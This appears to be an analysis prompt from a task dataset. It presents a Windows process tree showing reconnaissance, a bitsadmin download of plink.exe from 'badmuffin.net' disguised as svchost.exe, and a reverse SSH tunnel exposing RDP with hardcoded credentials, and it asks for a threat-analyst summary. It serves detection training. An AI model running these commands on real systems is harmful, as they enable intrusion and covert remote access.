Process tree:

wmiprvse.exe
cmd.exe
whoami.exe
ipconfig.exe /all
conhost.exe 0xffffffff -Force V1
ping.exe -c 1 8.8.8.8
bitsadmin /transfer myDownloadJob http://badmuffin.net/plink.exe c:\downloads\svchost.exe
svchost.exe --ssh -l kali -pw Password01 -N -R 192.168.0.3:3389:127.0.0.1:8090 192.168.0.3

Analyse the above process tree from the point of view of a security analyst looking for malicious activity. Provide a high level summary of the activity, including only information relevant to the security of the network. Do not explain each command individually. Assume events are in chronological order. Provide your reponse without using the word security.
user